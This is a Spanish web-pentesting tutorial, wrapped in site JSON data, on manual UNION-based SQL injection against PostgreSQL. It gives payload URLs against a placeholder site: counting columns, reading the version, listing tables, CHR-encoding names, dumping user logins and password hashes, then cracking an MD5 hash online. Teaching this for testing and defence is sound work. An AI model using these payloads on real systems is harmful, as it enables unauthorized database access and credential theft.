[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fN2Z8phuYtbtWi3R8_evioeEZdJbPchOIe2Ec-fWOR9s":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":59,"related_specialty":79},"inyeccion-sql-postgresql","Inyección SQL: Postgresql","Continuando con las inyecciones SQL de manera manual, el día de hoy nos enfocaremos en el motor de base de datos PostgreSQL. Este motor permite almacenar una gran cantidad de información, y lógicamente si se programa de forma inadecuada es posible dejar al descubierto esta vulnerabilidad, a continuación tenemos el siguiente escenario:",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ1lPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6553cce086f86e5952c3fcc288c8caafcb96e6b7\u002Fshutterstock_1168655296.jpg","2016-08-05T23:04:57-04:00","2026-10-26T18:07:47-03:00","\u003Cp>Continuando con las inyecciones SQL de manera manual, el día de hoy nos enfocaremos en el motor de base de datos PostgreSQL. Este motor permite almacenar una gran cantidad de información, y lógicamente si se programa de forma inadecuada es posible dejar al descubierto esta vulnerabilidad, a continuación tenemos el siguiente escenario:\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh5.googleusercontent.com\u002F8e6BdMkXl22msd3OKiTCz1Sx1AJ_SeWAA2Y1Y2cHU20ywBLAspxzAiLR5iT-0sT-rHZABYe7mOEhjUYnpVXRN1gj_u3wRkCvt3VzgPVmQEF6ed5sMzREgkq_6GAPBtl6k-XPLfk62eS-FqtfiQ\" width=\"589\" height=\"220\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL - Postgresql\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>Pg_exec() es una sentencia de Postgresql la cual permite ejecutar una consulta a la base de datos, por esta razón podemos asumir que se está utilizando Postgresql. Posteriormente utilizaremos la sentencia ORDER BY para detectar la cantidad de registros de la BD.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FqhVzL1XI2z17lL1Wp8k8q1hUkCTpmBzCHWJyNr4PkRqQikLp8wlj4x3Izziqp3GYztU1keZau-DsLgR1shpl-cxxsmtgwj72_Zf0-2yAuC22p0_nz0ND9vao8asWMslr_tQ7O0gx9w6bBswhTQ\" width=\"589\" height=\"215\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql Order BY (1)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FbpgbKrXXYZ0rEDtxRJjVFd4cSZJ4rE6R7Us_i2-twOPKI4-D9VOe0IiYn0pgaFZCqRiL2TQecgAvu_a5d1lMUt-pSnIQ0Jh9ZeMtFyjO1aE3uMFN4ISewGcvME4y1mVfqUBOY0E8DkJ1Cq1P2g\" width=\"589\" height=\"202\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql Order BY (2)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Podemos ver que el número de registros de la base de datos es de 4. Posteriormente usaremos la sentencia UNION SELECT para verificar el campo en el cual podremos realizar la inyección.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,2,3,4 -- \u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FqcAu3IuzbNIaIuHk6zFhfFKxuHoloFHQAC7P499I3hlhECaPAno3phPO1P0djGM31IqocP9HnL18SkC-u__nTjNBFEyZjk0tuHDWuoi8dtJnm_sumsp8FYzTiIK760tKuUkAfEr53Y1aQ991SQ\" width=\"589\" height=\"219\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql UNION SELECT (1)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Al querer utilizar realizar la consulta SQL esta nos arroja un error  ya que nos indica que en algunos campos (si no todos) estamos ingresando números enteros y la sentencia solo recibe datos de tipo string. Para esto agregaremos comillas simples a  cada uno de los números para ver cuál campo es de tipo string y cual es de tipo entero.\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FnnoKwTTt1AiYDnsJjGyPNtV4_dtdNX5E_xFAOwCi7kQPUs3w3Np84OOMiK5RpB6Y3p6-MF4XOouj2DXbEmf-O1VhUOuz03Qdkwseq72JHT1VdsAYinRTZbEi783PDtI3oAUgL40nsWfKpZmOew\" width=\"589\" height=\"349\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>  Inyección SQL – Postgresql UNION SELECT (2)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,\u003Cspan>\u003Cstrong>’2’,’3’\u003C\u002Fstrong>\u003C\u002Fspan>,4 -- \u003C\u002Fpre>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>Podemos notar que los campos 2 y 3 son de tipo enteros, mientras que los campos 1 y 4 son de tipo string, además al visualizar el sitio web, este nos indica que podemos realizar consultas a través del campo número 2. (NOTA: para usar sentencias SQL en campo número 2 es necesario quitar las comillas simples).\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>En primer lugar verificaremos la versión de Postgresql que se está utilizando la siguiente sentencia:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,version(),’3’,4 -- \u003C\u002Fpre>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FiV7w1LYAOIFUESEMuCYRsUdDDBsW8VLoKqmJVvIU-U3HQMY2WH7rBTWyatixfiD7a-eM3fIWmPZsZHxaXsafrc23qhsUAXLOPcJajmKVFR-MxJgrsNw32tzM8PnWWJNsdB1SR5WJ5wAKRTAz8Q\" width=\"589\" height=\"297\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql versión\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Nos muestra que la versión de Postgresql es la 8.4.13 además nos dice que se está utilizando un sistema operativo de Linux, específicamente un Debian 4.4.5-8 con arquitectura de 32 bits, esto ya es información relevante. Luego intentaremos obtener todas las tablas de las base de datos del sistema, la estructura para realizar esto es igual a Mysql.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,table_name,’3’,4  from information_schema.tables --\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh3.googleusercontent.com\u002Fka9h0rrPSaIMjAeibStIB6Tjb6zVGlEQ-UESczKiKbMKbi0MoRerUzETk2tfiAJf_DopaPi-m6quNUNUickCHar78U7n7SWdkt7-lfOgTICYhfLXJDGePZeZeINtKfuqQ_So3Wh85ApJuBY8Bg\" width=\"589\" height=\"341\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql, extracción de tablas de las bases de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>Como mencionamos con anterioridad es posible que en algunos casos no se nos muestre todas las tablas de las bases de datos del sistema, para esto es necesario utilizar la sentencia LIMIT y de esta manera poder iterar y mostrar cada una de las tablas.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>La estructura de \u003Cstrong>LIMIT\u003C\u002Fstrong> en Postgresql es similar a Mysql, sin embargo tiene algunas diferencias como la sentencia OFFSET. A continuación se muestran unos ejemplos:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 4 --\u003C\u002Fpre>\r\n\u003Cp>Esto nos muestra los primeros 4 registros empezando desde el 1. (1,2,3,4).\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 3 OFFSET 2 --\u003C\u002Fpre>\r\n\u003Cp>Esto indica que se deben mostrar tres registros empezando desde la posición dos.\u003Cbr>(3,4,5)\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 4 OFFSET 5 --\u003C\u002Fpre>\r\n\u003Cp>Esto indica que se deben mostrar cuatro registros empezando desde la posición cinco.\u003Cbr>(6,7,8,9).\u003Cspan>\u003Cbr class=\"kix-line-break\">\u003C\u002Fspan>\u003Cspan>\u003Cbr class=\"kix-line-break\">\u003C\u002Fspan>\u003Cspan>\u003Cbr class=\"kix-line-break\">\u003C\u002Fspan>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FFzupS2eRxab3PXWe9IggUP8p_QjxuSgZb5IPeltbCNaRvVfkMFNJUSKZTBt_mMz74KGS7QhzVQTxuzjcNGqN7EpXWAnj04i5pfu3_NkwRB4kxm_D0nKm421jBikfRb0sxUbHDk-eaexCHIHceQ\" width=\"589\" height=\"310\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql, uso de LIMIT y OFFSET\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Como logramos encontrar la tabla usuarios, a continuación la extraeremos con sus respectivas columnas. Para esto debemos hacer algo similar a Mysql, convertir el nombre de la tabla (users) a formato char de Postgresql, para realizar este proceso le dejare el siguiente link:\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>\u003Ca href=\"http:\u002F\u002Fwww.waraxe.us\u002Fsql-char-encoder.html\">http:\u002F\u002Fwww.waraxe.us\u002Fsql-char-encoder.html\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>                  \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FeOsDBj3nEXny9LqQdtcJBrYgyFiCX0oGlq2tAM_k6-xRliCGl42WNfgg1seGexcUiDuzD_591xYDD2-xJoVyc1kHOyefw9n2WPmyZUaFd7Hs5t3eYaUn8H_oZopk1xr5KIibax3bcyK3xwdQIQ\" width=\"426\" height=\"164\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql, encodeando tabla users\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>El valor encodeado de la tabla users es CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115). La estructura de la consulta final es la siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1,column_name,’3’,4  from information_schema.columns where table_name= CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115) --\u003C\u002Fpre>\r\n\u003Cp>Con esto le estamos diciendo que nos devuelva todas las columnas de la tabla users.\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FUiokpxj49FTxT_Ua4NCUnvJvTrlCzTBug1xYtvsaTCkFBqdl7gGRh_WSLgvza3jSz3m6NJWWVWn95ldX7aD9vtoJIHXs1hxlsA4L_WRAuPbFwssWyBM1nhWwyn4S0u6D3IGyGjYSI6RuVFLcVA\" width=\"589\" height=\"294\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql, columnas de tabla users\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>Finalmente extraeremos los datos de cada uno de estos campos. Para realizar una concatenación de cada uno de los campos utilizaremos el valor || ‘ : ‘ ||. El cual nos permitirá realizar una concatenación separada por dos puntos.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitiowebpostgresql.com\u002Findex.php?id=1\">www.sitiowebpostgresql.com\u002Findex.php?id=1\u003C\u002Fa> UNION SELECT 1, id || ' : '|| login || ' : ' || password ,’3’,4  from users --\u003C\u002Fpre>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FH565IbGptw1EVS2rPirDVcDz8QNab-VEgbA0sAzpF-0XqCJeVgk6PhZkD53h45N6bgT1Pr54QY8zcbJyGwc0EGqmpMYKc5CeFz-VAnntucwhAMoHvqIsdWdEvss1si7lfE0EM2SnZCLTA47DBw\" width=\"589\" height=\"296\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql, extracción de credenciales del sistema\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Realizaremos el crack del hash md5, utilizando el sitio web HashKiller. Este sitio web posee una base de datos muy completa la cual permite realizar cracking sobre diversos tipos de hash.\u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fhashkiller.co.uk\u002Fmd5-decrypter.aspx\">https:\u002F\u002Fhashkiller.co.uk\u002Fmd5-decrypter.aspx\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>  \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg class=\"img-responsive\" src=\"https:\u002F\u002Flh3.googleusercontent.com\u002Fz6B8kRWcUvH8LqIqB-UQXYBrbCsDlhdpN6paQnyn6HQA5u3pkC049ZyfUQVVgGcC110vo9lT4p5I6hCXsSBTt5eoH9pOlEof-tU40cFc3zZsDkdjo7OfFFy3MtSl40JSed9fwT905SAVS4lekA\" width=\"589\" height=\"144\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Postgresql, cracking del hash MD5\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Con esto hemos finalizado la inyección SQL de Postgresql, es importante aprender a realizar inyecciones SQL de manera manual para comprender el funcionamiento de dichas inyecciones.\u003C\u002Fp>","inyeccion sql postgresql, inyeccion sql, postgresql",5,[23,35,47],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":44,"image_thumb_url":44,"published_at":45,"updated_at":46},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":41,"name":42,"avatar_url":43},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":48,"title":49,"summary":50,"category":51,"author":52,"image_url":56,"image_thumb_url":56,"published_at":57,"updated_at":58},"evillimiter","Evil Limiter","Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.",{"slug":8,"name":9},{"username":53,"name":54,"avatar_url":55},"Erik172","Erik Garcia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBc1lSIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e703ff6245d2a783835ef18906375a5246ad1b84\u002Fgorickyourself.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdXdPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--79934810f6a5f794a404634540a7b200a27853e6\u002Fshutterstock_179770802.jpg","2020-05-12T14:50:51-04:00","2026-10-26T14:37:08-03:00",{"slug":60,"title":61,"summary":62,"level":63,"specialty":64,"category":67,"instructor":68,"image_url":72,"image_thumb_url":72,"duration_seconds":73,"lessons_count":74,"students_count":75,"is_free":76,"coming_soon":77,"updated_at":78},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":65,"name":66},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":69,"name":70,"avatar_url":71},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2025-02-15T00:31:58-03:00",{"slug":65,"name":66,"summary":80,"level":81,"courses_count":82,"total_duration_seconds":83,"is_free":77,"image_url":84,"icon_url":85,"wallpaper_url":86,"updated_at":87},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]